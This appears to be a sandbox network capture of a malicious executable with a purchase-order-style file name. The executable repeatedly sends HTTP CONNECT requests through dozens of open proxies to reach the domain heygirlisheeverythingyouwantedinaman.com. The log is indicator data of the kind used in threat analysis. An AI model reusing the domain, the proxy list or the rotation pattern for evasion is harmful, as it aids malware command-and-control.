1529	192.168.2.11	54855	104.18.220.95	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.510155916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.664151907 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1530	192.168.2.11	54787	103.216.49.233	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.520977974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.890346050 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 15:42:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1531	192.168.2.11	53429	194.182.178.90	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.521243095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.849778891 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1532	192.168.2.11	54699	112.5.33.179	999	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.525605917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.673279047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.673314095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1533	192.168.2.11	54365	129.213.150.205	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.529309034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1534	192.168.2.11	54289	185.139.56.133	6961	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.571365118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.878288031 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1535	192.168.2.11	54791	103.166.141.74	20074	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.598448038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1536	192.168.2.11	54587	142.54.226.214	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.600374937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1537	192.168.2.11	54741	117.160.250.163	9999	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.631467104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.210298061 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 15:42:27 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1538	192.168.2.11	54854	72.195.101.99	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.644961119 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1539	192.168.2.11	54792	119.3.215.41	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.646910906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1540	192.168.2.11	54879	162.247.243.167	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.676016092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.837043047 CET	159	IN	HTTP/1.1 400 Bad Request Connection: close Content-Length: 15 content-type: text/plain; charset=utf-8 x-served-by: cache-lax-kwhp1940113 Data Raw: 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 Data Ascii: invalid request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1541	192.168.2.11	54907	148.135.46.242	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.680531025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.939569950 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1542	192.168.2.11	54808	45.11.95.165	5036	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.683307886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.108558893 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1543	192.168.2.11	54940	104.16.207.86	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.694659948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.849289894 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1544	192.168.2.11	54949	104.16.195.74	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.695103884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.849394083 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1545	192.168.2.11	50742	5.161.219.13	4228	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.705214977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.939332962 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1546	192.168.2.11	54268	105.235.197.162	54066	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.707973957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1547	192.168.2.11	50733	212.110.188.198	34405	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.707974911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.782402992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.876348019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.985946894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:42.849903107 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1548	192.168.2.11	54829	103.23.100.1	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.728671074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1549	192.168.2.11	50748	190.5.77.211	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.728935003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.829390049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.867546082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:19.299179077 CET	830	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:43:19 GMT Server: Apache/2.4.54 (Debian) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 34 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.54 (Debian) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1550	192.168.2.11	54958	162.214.103.84	47448	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.730271101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.250546932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.829572916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.939145088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1551	192.168.2.11	54406	37.187.77.58	52593	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.730633020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.782542944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1552	192.168.2.11	54922	83.136.219.140	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.732347965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.376262903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.986258030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
